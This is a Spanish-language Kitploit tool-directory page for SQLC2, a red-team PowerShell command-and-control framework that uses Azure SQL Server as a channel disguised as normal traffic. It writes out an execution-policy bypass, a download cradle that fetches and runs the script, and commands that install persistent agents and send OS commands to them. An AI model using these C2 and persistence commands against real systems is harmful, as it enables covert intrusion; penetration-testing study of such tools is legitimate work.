Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SQLC2 — SQLC2 es un script de PowerShell para implementar y administrar un sistema de comando y control que utiliza SQL Server tanto como servidor de control como agente. | Kitploit
Herramientas/GitHubGitHub/netspi/sqlc2
Mecanismos de PersistenciaPruebas de PenetraciónSeguridad en la NubeComando y ControlRed TeamingSeguridad de Bases de Datos
GitHubnetspi/sqlc2

SQLC2

SQLC2 es un script de PowerShell para implementar y administrar un sistema de comando y control que utiliza SQL Server tanto como servidor de control como agente.

Ver Repositorio
7521hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

SQLC2

SQLC2 es un script de PowerShell para implementar y gestionar un sistema de comando y control que utiliza SQL Server como servidor de control y agente. En esencia, SQLC2 es solo un script de PowerShell, un script TSQL y unas pocas tablas en una instancia de SQL Server que realiza un seguimiento de agentes, comandos y resultados. Nada demasiado sofisticado, pero puede resultar útil en algunas intervenciones.

Para una descripción más completa de SQLC2, consulta el blog en https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.

Autor y licencia

  • Autor: Scott Sutherland (@_nullbind), NetSPI - 2018
  • Licencia: BSD 3-Clause
  • Dependencias requeridas: Ninguna

¿Por qué molestarse con un C2 basado en SQL Server?

Cada vez más empresas están empezando a utilizar bases de datos de Azure SQL Server. Cuando se crean esas instancias de Azure SQL Server, se hacen accesibles a través de un subdominio de database.windows.net en el puerto 1433. Por ejemplo, podría crear una instancia de SQL Server llamada "mysupersqlserver.database.windows.net". Como resultado, algunas configuraciones de red corporativas permiten el acceso saliente a Internet a cualquier subdominio de "database.windows.net" en el puerto 1433.

La idea general es que, a medida que crezca la adopción de Azure SQL Server, habrá más oportunidades de usar SQL Server como canal de control que parezca tráfico normal. SQLPS es una prueba de concepto bastante básica, pero creo que es lo suficientemente funcional como para ilustrar la idea. Sé que hay bastantes mejoras por hacer, pero si terminas jugando con él, me encantaría recibir tus comentarios.

No solo para Azure

Aunque se hace hincapié en usar SQLC2 con instancias de Azure SQL Server, puedes alojar tu propio SQL Server en cualquier entorno de nube y hacer que escuche en el puerto 443 con SSL habilitado. Por lo tanto, podría ofrecer un poco más de flexibilidad dependiendo de cuánto esfuerzo quieras invertir en ello.

Carga de SQLC2

  • Opción 1: Descarga el script e impórtalo. Esto no requiere privilegios administrativos y solo se importará en la sesión actual. Sin embargo, puede ser bloqueado por políticas de ejecución restrictivas, por lo que es posible que desees usar la opción de omisión (bypass).

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • Opción 2: Cárgalo en una sesión mediante una cuna de descarga (download cradle). Esto no requiere privilegios administrativos y solo se importará en la sesión actual. No debería ser bloqueado por las políticas de ejecución.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    Nota: Para ejecutarlo como un usuario de dominio alternativo, usa el comando runas para iniciar PowerShell primero.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

Diagrama básico de la arquitectura de SQLC2

SQLC2Arch

Funciones de usuario

A continuación se muestra una lista de funciones de usuario que admiten los flujos de trabajo previstos.

Capturas de pantalla

A continuación se muestran algunas capturas de pantalla de ejemplo.

Instalar el servidor SQLC2 (crear tablas):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Instalar C2

Instalar el agente SQLC2 (trabajo del Agente SQL Server que utiliza un vínculo de servidor):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Instalar agente

Ver agentes de SQLC2:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

Establecer comando para ejecutar en el agente:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

Obtener resultados de comandos:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Obtener resultados de comandos

Descargar herramienta
Nombre de la funciónDescripción
Install-SQLC2ServerInstala las tablas de SQLC2 en el SQL Server/base de datos de destino.
Install-SQLC2AgentPsInstala un agente que utiliza un trabajo del Agente SQL Server y un vínculo de servidor.
Install-SQLC2AgentLinkInstala un agente que utiliza una tarea programada o una clave del registro para ejecutar comandos de PowerShell.
Set-SQLC2CommandEstablece comandos del sistema operativo para que los ejecuten los agentes.
Get-SQLC2CommandObtiene una lista de comandos pendientes del sistema operativo desde el C2 para el agente. También puede ejecutar el comando pendiente con el indicador -Execute.
Get-SQLC2AgentObtiene una lista de agentes registrados en el servidor SQLC2.
Get-SQLC2ResultObtiene una lista de comandos pendientes y completados. Admite filtros por nombre de servidor, estado y cid.
Remove-SQLC2AgentElimina los agentes registrados en el SQLC2. Simplemente limpia el historial.
Remove-SQLC2CommandElimina el historial de comandos en el servidor SQLC2.
Uninstall-SQLC2AgentLinkDesinstala el agente SQLC2 que utiliza vínculos de servidor y un trabajo del agente.
Uninstall-SQLC2AgentPsDesinstala todos los métodos de persistencia basados en el sistema operativo.
Uninstall-SQLC2ServerElimina las tablas de SQLC2 de la base de datos de destino.